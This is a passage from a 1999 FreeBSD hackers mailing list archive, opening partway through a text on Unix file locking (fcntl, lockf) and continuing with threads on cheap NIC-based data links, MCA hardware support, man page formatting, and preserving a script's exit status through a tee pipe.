information on any current lock on the file. when calling,= you set the fields flock->l_type, flock->l_whence, flock->l_start, = and flock->l_len to the value of a lock that we want to set. If a lock = that would cause a lock request to block already exists, flock is overwritten = with information about the lock. The field flock->l_whence is set to SEEK_= SET, and flock->l_start is set to the offset in the file. flock->l_pid is set= to the pid of the process that owns the lock. If the lock can be gran= ted, flock->l_type is set to F_UNLK and the rest of the structure is = left unchanged, o F_SETLK tries to set a lock (flock->l_type set to F_RDLCK or F_WRLCK) o= r to reset a lock (flock->l_type set to F_UNLCK). If a lock cannot be obtai= ned, fcntl returns with errno set to EACCES (System V) or EAGAIN (BSD and POS= IX). o F_SETLKW works like F_SETLK, except that if the lock cannot be obtained, = the process blocks until it can be obtained. o System V.4 has a further function, F_FREESP, which uses the struct flock,= but in fact has nothing to do with file locking: it frees the space defined= by flock->l_whence, flock->l_start, and flock->l_len. The data in this par= t of the file is physically removed, a read access returns EOF, and a write ac= cess writes new data. The only reason this operation uses the struct flock = (and the reason we discuss it here) is because struct flock has suitable mem= bers to describe the area that needs to be freed. Many file systems allow dat= a to be freed only if the end of the region corresponds with the end of file,= in which case the call can be replaced with ftruncate. lockf _____ lockf is a library function supplied only with System V. Like fcntl= , it implements advisory or mandatory range locking based on the file permissi= ons. In some systems, it is implemented in terms of fcntl. It supports = only exclusive locks: #include int lockf (int fd, int function, long size); The functions are similar to those supplied by fcntl. l_type specifies = the Pa= ge 7 File locking type of the lock, as shown below. | value | Function --------+-------------------------------------------- F_ULOCK | Unlock the range. F_LOCK | Acquire exclusive lock. F_TLOCK | Lock if possible, otherwise return status. F_TEST | Check range for other locks. Figure 3: lockf functions lockf does not specify a start offset for the range to be locked. Thi= s is always the current position in the file--you need to use lseek to get there= if you are not there already. The following code fragments are roughly equ= iva- lent: flock->ltype =3D F_WRLK; /* lockf only supports write locks */ flock->whence =3D SEEK_SET; flock->l_start =3D filepos; /* this was set elsewhere */ flock->l_len =3D reclen; /* the length to set */ error =3D fcntl (myfile, F_GETLK, &flock); =2E..and lseek (myfile, SEEK_SET, filepos); /* Seek the correct place in the file */ error =3D lockf (myfile, F_LOCK, reclen); Which locking scheme? _____________________ As we've seen, file locking is a can of worms. Many portable software pack= ages offer you a choice of locking mechanisms, and your system may supply a nu= mber of them. Which do you take? Here are some rules of thumb: o fcntl locking is the best choice, as long as your system and the pac= kage agree on what it means. On System V.3 and V.4, fcntl locking offers= the choice of mandatory or advisory locking, whereas on other systems it = only offers advisory locking. If your package expects to be able to set manda= tory locking, and you're running, say, 4.4BSD, the package may not work correc= tly. If this happens, you may have to choose flock locking instead. o If your system doesn't have fcntl locking, you will almost certainly = have either flock or lockf locking instead. If the package supports it, use = it. Pure BSD systems don't support lockf, but some versions simulate it. S= ince Page 8 File loc= king lockf can also be used to require mandatory locking, it's better to use f= lock on BSD systems and lockf on System V systems. o You'll probably not come across any packages which support locking. If= you do, and your system supports it, it's not a bad choice. o If all else fails, use lock files. This is a very poor option, though--= it's probably a better idea to consider a more modern kernel. Pa= ge 9 --OgqxwSJOaUobr8KG-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 20:27:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id E6E3A1608B for ; Fri, 27 Aug 1999 20:27:30 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id MAA14790; Sat, 28 Aug 1999 12:54:06 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="_=XFMail.1.3.p0.FreeBSD:990828125406:18482=_"; micalg=pgp-md5; protocol="application/pgp-signature" In-Reply-To: <37C72D39.FECD29DF@airnet.net> Date: Sat, 28 Aug 1999 12:54:06 +0930 (CST) From: "Daniel O'Connor" To: Kris Kirby Subject: Re: Are the ethernet drivers time dependent? Cc: hackers@freebsd.org, "Matthew N. Dodd" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:990828125406:18482=_ Content-Type: text/plain; charset=us-ascii On 28-Aug-99 Kris Kirby wrote: > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > extremely cheap way to get data in and out of a PC. I've got the > National Semiconductor application sheets for the 8392(?) and plan on > using one "cut in half": Half duplex, but split into seperate TX and RX > lines. I'm also looking at a scaleable way to go up or down in speed, > without dealing with async... A layer two device if you will. RS232? RS485? VERY cheap and the later is at least moderatly resistant to noise :) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.p0.FreeBSD:990828125406:18482=_ Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.3ia iQCVAwUBN8dWVlbYW/HEoF9pAQEFwAQAjj65ZNtRqOLwlOX/c5Svg8yUjDz9dqDn FV3l50onTdx/8/zQjDrUQFr3/4/GMegBKyGxgS4ZSXFCm3yp8JALTs9qVvM5GB12 FuqxOmD4tUzlXN1R7PK58u6HQb4v8mVQUvZ10q09Q1L5pPhPteIPyUsTLuCTqyYM IaoN00YVbwY= =N366 -----END PGP MESSAGE----- --_=XFMail.1.3.p0.FreeBSD:990828125406:18482=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 23:27:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mission.mvnc.edu (mission.mvnc.edu [149.143.2.3]) by hub.freebsd.org (Postfix) with ESMTP id 525E916089; Fri, 27 Aug 1999 23:27:44 -0700 (PDT) (envelope-from kdrobnac@mission.mvnc.edu) Received: from localhost (kdrobnac@localhost) by mission.mvnc.edu (8.9.0/8.9.0) with SMTP id CAA08328; Sat, 28 Aug 1999 02:22:11 -0400 (EDT) Date: Sat, 28 Aug 1999 02:22:11 -0400 (EDT) From: Kenny Drobnack To: Wilko Bulte Cc: Wes Peters , mkc@Graphics.Cornell.EDU, rivers@dignus.com, freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908272225.AAA03716@yedi.iaf.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The trade rags here insist it has already happened: M$ stopped 64 bit Alpha > NT. Beats me if it is true or not. Here's the confusing part: they say M$ stopped making 64 bit Alpha NT, but some say they are actually developing Win2000 64 bit for Alpha's. Since 2000 is NT based, you'd think that support was dropped for it too, but then I heard a couple rumors about Win2000 64 bit for Alpha... I don't know. I think I will wait until marketing clears up at least a little bit, until you know what OS's your hardware can run before buying anything new... ----- We are now the Knights who say... "Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 23:28: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 47D5D15FF8 for ; Fri, 27 Aug 1999 23:27:45 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id BAA04735; Sat, 28 Aug 1999 01:24:20 -0500 (CDT) Message-ID: <37C78082.37F8BDAA@airnet.net> Date: Sat, 28 Aug 1999 01:24:02 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: "Matthew N. Dodd" Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew N. Dodd wrote: > > On Fri, 27 Aug 1999, Kris Kirby wrote: > > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > > extremely cheap way to get data in and out of a PC. > > How about an I2C bus? > > (Or is that -too- slow?) I'll have to admit I'm totally ignorant of what this is. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 23:31:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 3AA2E14FBF for ; Fri, 27 Aug 1999 23:31:31 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id BAA13292; Sat, 28 Aug 1999 01:30:21 -0500 (CDT) Message-ID: <37C781EF.95FD950E@airnet.net> Date: Sat, 28 Aug 1999 01:30:07 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: Julian Elischer Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Julian Elischer wrote: > > plip? > Ideally, no. The ethernet card makes the data rather easy to handle into other means (like a radio modem). It's already serialized, packetized, has a MAC address for a link address, and it's easy to get seperate RX and TX lines out of the card, even if it is 10Base-2 (BNC). The idea is to eliminate other hardware in order to drop cost and complication. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 23:34:27 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 83DCD15309 for ; Fri, 27 Aug 1999 23:34:22 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id BAA08072; Sat, 28 Aug 1999 01:33:31 -0500 (CDT) Message-ID: <37C782AB.B15C09F0@airnet.net> Date: Sat, 28 Aug 1999 01:33:15 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: "Daniel O'Connor" Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > > On 28-Aug-99 Kris Kirby wrote: > > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > > extremely cheap way to get data in and out of a PC. I've got the > > National Semiconductor application sheets for the 8392(?) and plan on > > using one "cut in half": Half duplex, but split into seperate TX and RX > > lines. I'm also looking at a scaleable way to go up or down in speed, > > without dealing with async... A layer two device if you will. > > RS232? RS485? VERY cheap and the later is at least moderatly resistant to noise > :) Noise shouldn't be an issue. It's going to be handling "clean" data. By cheap, I mean $5 a pop or so. I've got a few 3C503s that I feel like cutting into. I'm going to be bearing the financial end of this project of mine, so I'm going to save where I can. :-) -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 23:39:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 75FDB154DB for ; Fri, 27 Aug 1999 23:39:30 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id QAA26461; Sat, 28 Aug 1999 16:09:23 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="_=XFMail.1.3.p0.FreeBSD:990828160923:18482=_"; micalg=pgp-md5; protocol="application/pgp-signature" In-Reply-To: <37C782AB.B15C09F0@airnet.net> Date: Sat, 28 Aug 1999 16:09:23 +0930 (CST) From: "Daniel O'Connor" To: Kris Kirby Subject: Re: Are the ethernet drivers time dependent? Cc: hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.3.p0.FreeBSD:990828160923:18482=_ Content-Type: text/plain; charset=us-ascii On 28-Aug-99 Kris Kirby wrote: > > RS232? RS485? VERY cheap and the later is at least moderatly resistant to > > noise > Noise shouldn't be an issue. It's going to be handling "clean" data. By > cheap, I mean $5 a pop or so. I've got a few 3C503s that I feel like > cutting into. I'm going to be bearing the financial end of this project > of mine, so I'm going to save where I can. :-) Well serial ports come free on all new computers ;) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.3.p0.FreeBSD:990828160923:18482=_ Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.3ia iQCVAwUBN8eEG1bYW/HEoF9pAQGSnAP9EAY94QhQtPR0wOquuKBlJFLVBkZ7POQg ChLUgWb493yvFi/8WtzkOWQMxLIxBy2EdZGR68zce81GGtOmEdVJabiwTpJRFewj UGoy8019Qe3Pr35/pmwzX357jz3aZV0ySTJHHTtAx9J9gGuXQ0dB6L5nMdwFThP/ u17KoXvUvzU= =Go6A -----END PGP MESSAGE----- --_=XFMail.1.3.p0.FreeBSD:990828160923:18482=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 0:26:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.skylink.it (ns.skylink.it [194.177.113.1]) by hub.freebsd.org (Postfix) with ESMTP id 0DC9E14DAA for ; Sat, 28 Aug 1999 00:26:49 -0700 (PDT) (envelope-from hibma@skylink.it) Received: from heidi.plazza.it (va-152.skylink.it [194.185.55.152]) by ns.skylink.it (8.9.1/8.8.8) with ESMTP id JAA12976; Sat, 28 Aug 1999 09:25:03 +0200 Received: from localhost (localhost [127.0.0.1]) by heidi.plazza.it (8.9.3/8.8.5) with ESMTP id HAA04013; Sat, 28 Aug 1999 07:21:03 GMT X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Posted-Date: Sat, 28 Aug 1999 07:21:03 GMT Date: Sat, 28 Aug 1999 09:21:00 +0200 (CEST) From: Nick Hibma X-Sender: n_hibma@heidi.plazza.it Reply-To: Nick Hibma To: Julian Elischer Cc: "Matthew N. Dodd" , Kris Kirby , hackers@FreeBSD.ORG Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG USB? http://www.activewire.com/ has a nice board that does I2C as well. With a bit of plumbing you should be able to stream out 100kb a second. Nick On Fri, 27 Aug 1999, Julian Elischer wrote: > plip? > > > On Fri, 27 Aug 1999, Matthew N. Dodd wrote: > > > On Fri, 27 Aug 1999, Kris Kirby wrote: > > > It's not a bandwidth issue; it's a speed issue. I'm trying to find an > > > extremely cheap way to get data in and out of a PC. > > > > How about an I2C bus? > > > > (Or is that -too- slow?) > > > > -- > > | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | > > | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | > > | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > > -- e-Mail: hibma@skylink.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 0:47: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from backup.af.speednet.com.au (af.speednet.com.au [202.135.206.244]) by hub.freebsd.org (Postfix) with ESMTP id 15E6714F0D; Sat, 28 Aug 1999 00:46:45 -0700 (PDT) (envelope-from andyf@speednet.com.au) Received: from localhost (localhost [127.0.0.1]) by backup.af.speednet.com.au (8.9.3/8.9.3) with ESMTP id RAA34371; Sat, 28 Aug 1999 17:44:53 +1000 (EST) (envelope-from andyf@speednet.com.au) Date: Sat, 28 Aug 1999 17:44:52 +1000 (EST) From: Andy Farkas X-Sender: andyf@localhost To: "Matthew N. Dodd" Cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: Its about that time of year again. (FreeBSD & MCA) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Matthew N. Dodd wrote: > I will ask another question; "Anyone want to see what I've got so far?" > > http://www.jurai.net/~winter/mca/ > > README.mca > mca.diff > mca.tar.gz > > MicroChannel Architecture System detected. > ... > mca0: on motherboard Excellent! Although you've now forced me to put off all other weekend 'projects' (lawn-mowing, car-washing, etc) :-) > I'd really like a few other people to try booting a kernel with this code > on any of the MCA systems they happen to have laying around just to make > sure that my changes do indeed work on other hardware than my Model 77. I have a truckload of MCA cards - scsi controllers (ibm, adaptec, buslogic, pro-comm), ethernet (ne2000, 3com), memory boards (ibm, other), serial controllers, XGA-2.... I'll try and give 'em all a go... > If someone has a ABIOS block device driver code hiding on their hard disk > I'd really like to look at it (I already know about the Mach3 stuff). I have the OS/2 device driver development kit. There may be something in there. I'll check. > > Thanks! > Thank you! > -- > | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | > | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | > | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | > -- :{ andyf@speednet.com.au Andy Farkas System Administrator Speednet Communications http://www.speednet.com.au/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 0:56: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 87ABE14F0D for ; Sat, 28 Aug 1999 00:55:59 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-51.dialup.HiWAAY.net [216.180.35.51] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id CAA28813; Sat, 28 Aug 1999 02:52:35 -0500 (CDT) Message-ID: <37C7952C.44F0BE51@airnet.net> Date: Sat, 28 Aug 1999 02:52:12 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: "Daniel O'Connor" Cc: hackers@freebsd.org Subject: Re: Are the ethernet drivers time dependent? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > > On 28-Aug-99 Kris Kirby wrote: > > > RS232? RS485? VERY cheap and the later is at least moderatly resistant to > > > noise > > Noise shouldn't be an issue. It's going to be handling "clean" data. By > > cheap, I mean $5 a pop or so. I've got a few 3C503s that I feel like > > cutting into. I'm going to be bearing the financial end of this project > > of mine, so I'm going to save where I can. :-) > > Well serial ports come free on all new computers ;) You're right, I should have clarifed. I'm looking to break 128K. I don't have any serial ports that I can jumper up to 460 or 230 kbps. Additionally, 256K is a nice round number :-). I'm not looking to invest in new hardware, and I can save on a bit of hardware by letting the NIC worry about the link. The NIC also greatly simplies the system. At worst, I'd need a machine with a 3C503 and a NE2000. And then I'll probably use dummynet for bandwidth limiting over the link so it doesn't get flooded. I'm going to be building at least three of these units, assuming I get the technical issues out of the way. So I'm looking at a cheap (hardware and software) way of getting data in and out of a PC with IP support and such. It just makes sense in my POV to use a NIC. It's capable of 10 Mbps and has most of the circuitry for preparing data for transmission on it. If you will, it's a ready to use data pump. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 0:56:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.skylink.it (ns.skylink.it [194.177.113.1]) by hub.freebsd.org (Postfix) with ESMTP id 3384A155C7 for ; Sat, 28 Aug 1999 00:56:14 -0700 (PDT) (envelope-from hibma@skylink.it) Received: from heidi.plazza.it (va-152.skylink.it [194.185.55.152]) by ns.skylink.it (8.9.1/8.8.8) with ESMTP id JAA13325; Sat, 28 Aug 1999 09:54:55 +0200 Received: from localhost (localhost [127.0.0.1]) by heidi.plazza.it (8.9.3/8.8.5) with ESMTP id HAA04065; Sat, 28 Aug 1999 07:34:36 GMT X-No-Spam: Neither the receipients nor the senders email address(s) are to be used for Unsolicited (Commercial) Email without the explicit written consent of either party; as a per-message fee is incurred for inbound and outbound traffic to the originator. Posted-Date: Sat, 28 Aug 1999 07:34:36 GMT Date: Sat, 28 Aug 1999 09:34:28 +0200 (CEST) From: Nick Hibma X-Sender: n_hibma@heidi.plazza.it Reply-To: Nick Hibma To: "Daniel O'Connor" Cc: Kris Kirby , hackers@FreeBSD.ORG Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Well serial ports come free on all new computers ;) You mean like the PC 2000 that _only_ comes with USB and for which you will have to buy a USB->serial converter that might not handle the signalling you had in mind? :-) Nick http://www.etla.net/~n_hibma/usb/usb.pl -- e-Mail: hibma@skylink.it To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 0:57:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mpp.pro-ns.net (pppdsle70.mpls.uswest.net [216.160.23.70]) by hub.freebsd.org (Postfix) with ESMTP id 0CAEB15233; Sat, 28 Aug 1999 00:57:22 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id CAA93164; Sat, 28 Aug 1999 02:29:08 -0500 (CDT) (envelope-from mpp) From: Mike Pritchard Message-Id: <199908280729.CAA93164@mpp.pro-ns.net> Subject: Propose mdoc fix regarding ERRORS section To: freebsd-hackers@freebsd.org, freebsd-doc@freebsd.org Date: Sat, 28 Aug 1999 02:29:08 -0500 (CDT) Cc: phantom@cris.net X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Category: docs >Synopsis: src/lib/libc/sys/*.2 misc patch pack - first column in most ERROR lists is too narrow. Normalize their width. Right now we have a problem with our on-line man pages. Most were written when the length of errno's were only 6 - 8 characters long. Now we have errno's that can be up to 15 characters long. Many of our man pages have the following mdoc instruction (or something similar) to ensure that the field width for the errno is appropriate: .Bl -tag -width EBADFXXX As things have progressed, sometimes the errno names have become wider than the name specified in the .Bl macro. Man pages can also specify: .Bl -tag -width Er Which will reserve enough space for the errno name based on what width the Er macro specifies. Right now it doesn't allocate enough width to contain our largest errno's. I propose that we fix mdoc to allocate enough width when the second form is specified, and then change all of the man pages to use that format in the ERRORS section. Suggestions/comments/etc welcome. -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1: 5:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fleming.cs.strath.ac.uk (fleming.cs.strath.ac.uk [130.159.196.126]) by hub.freebsd.org (Postfix) with ESMTP id 8AFE814DF9; Sat, 28 Aug 1999 01:05:07 -0700 (PDT) (envelope-from roger@cs.strath.ac.uk) Received: from cs.strath.ac.uk (scary.dmem.strath.ac.uk [130.159.202.5]) by fleming.cs.strath.ac.uk (8.8.8/8.8.8) with ESMTP id JAA14377 Sat, 28 Aug 1999 09:04:20 +0100 (BST) Message-ID: <37C79822.D28CD168@cs.strath.ac.uk> Date: Sat, 28 Aug 1999 09:04:50 +0100 From: Roger Hardiman Organization: Strathclyde University X-Mailer: Mozilla 4.51 [en] (X11; I; FreeBSD 3.2-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org, luigi@freebsd.org, abial@freebsd.org Subject: Help with exit status in shell script Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, There is a bug in the PicoBSD build shell script in and I have no idea how to fix it. As a result, build errors are not caught. It is all to do with Exit Status of programs called from a shell script. Please help. The code fragment from /usr/src/release/picobsd/build/build is ./stage1 2>&1 | tee stage1.out if [ "X$?" != "X0" ] ; then echo "^G" echo "-> ERROR in \"${i}\" script. Aborting the build process." exit 10 fi Build calls Stage1. Stage1 will return with an error code in some cases and we want to trap this and halt the Build script. ./stage1 2>&1 | tee stage1.out if [ "X$?" != "X0" ] ; then Normally, $? will return the Exit Status of the last executed program. However, due to the pipe through Tee, the Exit Status I get is the exit status of Tee and not the exit status of the Stage1 script. I still want to output the stage1 script to screen and a log file. How can I do this and preserve the exit status for the Build script. Thanks Roger -- Roger Hardiman roger@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 1:14: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id C33FB14CC7 for ; Sat, 28 Aug 1999 01:13:57 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id RAA19109; Sat, 28 Aug 1999 17:41:49 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id RAA90359; Sat, 28 Aug 1999 17:41:46 +0930 (CST) Date: Sat, 28 Aug 1999 17:41:45 +0930 From: Greg Lehey To: Kris Kirby Cc: "Daniel O'Connor" , hackers@FreeBSD.ORG Subject: Cheap link (was: Are the ethernet drivers time dependent?) Message-ID: <19990828174145.K13904@freebie.lemis.com> References: <37C7952C.44F0BE51@airnet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <37C7952C.44F0BE51@airnet.net>; from Kris Kirby on Sat, Aug 28, 1999 at 02:52:12AM -0500 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Saturday, 28 August 1999 at 2:52:12 -0500, Kris Kirby wrote: > Daniel O'Connor wrote: >> >> On 28-Aug-99 Kris Kirby wrote: >>>> RS232? RS485? VERY cheap and the later is at least moderatly resistant to >>>> noise >>> Noise shouldn't be an issue. It's going to be handling "clean" data. By >>> cheap, I mean $5 a pop or so. I've got a few 3C503s that I feel like >>> cutting into. I'm going to be bearing the financial end of this project >>> of mine, so I'm going to save where I can. :-) >> >> Well serial ports come free on all new computers ;) > > You're right, I should have clarifed. I'm looking to break 128K. I don't > have any serial ports that I can jumper up to 460 or 230 kbps. > Additionally, 256K 